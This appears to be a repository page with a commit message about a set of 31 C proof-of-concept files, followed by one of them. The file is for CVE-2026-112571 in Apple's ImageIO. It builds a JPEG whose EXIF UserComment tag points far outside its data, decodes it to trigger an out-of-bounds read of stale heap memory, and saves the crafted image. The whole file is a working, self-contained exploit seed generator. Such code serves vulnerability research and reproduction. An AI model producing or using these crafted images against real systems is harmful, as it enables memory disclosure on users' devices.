JBJF
7949c7ce9f
- 31 C POC files, one per CVE folder: full seed construction + trigger + main(), self-contained, no app dependency. All compile clean with clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded oracle on this host. - CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the mechanism behind the cm.rpu death oracle on the simulator build. - Harness fixes: glyphCount guard, MachOInspector size guard, ModTools clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display. - POC comments rewritten English-only (31 swift + arc.rr + 5 py). - README (en/zh): C twin column, .c anatomy section, compile/run examples, C oracle verification status. - Dead if-let binding removed from Identity summary; v2.0 build 3.
94 lines
4.0 KiB
C
94 lines
4.0 KiB
C
// iio.jpeg.comment · ImageIO · ReadUserComment · CVE-2026-112571
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// EXIF UserComment short read leaves stale heap bytes
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// C twin of the Swift POC: builds the oob-offset UserComment JPEG and decodes it through ImageIO.
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// Build: clang -O2 -o cve-2026-112571 CVE-2026-112571.c -framework ImageIO -framework CoreGraphics -framework CoreFoundation
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// Run: ./cve-2026-112571 [count] [value-offset]
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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// ── byte buffer ──
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typedef struct { uint8_t *d; size_t n, cap; } buf;
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static void bneed(buf *b, size_t extra) {
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if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
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}
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static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
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static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
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static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
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static void be16(buf *b, uint16_t v) { bput(b, v >> 8); bput(b, v & 0xff); }
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static void be32(buf *b, uint32_t v) {
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bput(b, v >> 24); bput(b, (v >> 16) & 0xff); bput(b, (v >> 8) & 0xff); bput(b, v & 0xff);
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}
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// ── seed construction (from Cinder27 Sources: JPEGPayload.exifUserComment) ──
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static buf jpeg_user_comment(uint32_t count, uint32_t value_offset) {
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buf tiff = {0};
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bcat(&tiff, "MM\x00\x2a", 4);
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be32(&tiff, 8); // IFD0 at 8
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be16(&tiff, 1); // 1 entry
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be16(&tiff, 0x9286); // UserComment
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be16(&tiff, 7); // UNDEFINED
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be32(&tiff, count); // declared byte count
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be32(&tiff, value_offset); // value offset far past the block
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be32(&tiff, 0); // next IFD
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buf out = {0};
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bcat(&out, "\xff\xd8", 2); // SOI
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uint32_t app1_len = 6 + (uint32_t)tiff.n + 2;
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bcat(&out, "\xff\xe1", 2);
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bput(&out, app1_len >> 8); bput(&out, app1_len & 0xff);
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bcat(&out, "Exif\x00\x00", 6);
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bcat(&out, tiff.d, tiff.n);
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bcat(&out, "\xff\xd9", 2); // EOI
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bfree(&tiff);
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return out;
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}
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// ── trigger: decode through ImageIO ──
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#include <ImageIO/ImageIO.h>
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#include <CoreGraphics/CoreGraphics.h>
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#include <CoreFoundation/CoreFoundation.h>
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static int decode_image(const buf *img, const char **detail) {
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CFDataRef cf = CFDataCreate(NULL, img->d, (CFIndex)img->n);
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if (!cf) { *detail = "CFDataCreate failed"; return -1; }
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CGImageSourceRef src = CGImageSourceCreateWithData(cf, NULL);
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CFRelease(cf);
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if (!src) { *detail = "CGImageSourceCreateWithData refused the file"; return -1; }
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size_t frames = CGImageSourceGetCount(src);
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// the metadata walk is where ReadUserComment reads count bytes at the oob offset
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CFDictionaryRef props = CGImageSourceCopyPropertiesAtIndex(src, 0, NULL);
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CGImageRef cg = CGImageSourceCreateImageAtIndex(src, 0, NULL);
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static char r[256];
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if (cg) {
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snprintf(r, sizeof r, "decoded %zu x %zu, %zu frame(s), properties %s",
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(size_t)CGImageGetWidth(cg), (size_t)CGImageGetHeight(cg), frames,
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props ? "present" : "absent");
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CGImageRelease(cg);
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} else {
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snprintf(r, sizeof r, "decode refused at index 0 (%zu frame(s) declared)", frames);
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}
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if (props) CFRelease(props);
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CFRelease(src);
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*detail = r;
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return cg ? 0 : -1;
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}
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int main(int argc, char **argv) {
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uint32_t count = argc > 1 ? (uint32_t)strtoul(argv[1], NULL, 0) : 0x400;
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uint32_t value_offset = argc > 2 ? (uint32_t)strtoul(argv[2], NULL, 0) : 0x4000;
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buf jpeg = jpeg_user_comment(count, value_offset);
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FILE *f = fopen("usercomment_oob.jpg", "wb");
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if (f) { fwrite(jpeg.d, 1, jpeg.n, f); fclose(f); }
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const char *detail = NULL;
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int rc = decode_image(&jpeg, &detail);
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printf("CVE-2026-112571 · UserComment count=0x%x offset=0x%x · %s\n", count, value_offset, detail ? detail : "?");
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printf("seed: usercomment_oob.jpg (%zu B) · exit code %d\n", jpeg.n, rc);
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bfree(&jpeg);
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return rc == 0 ? 0 : 1;
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}
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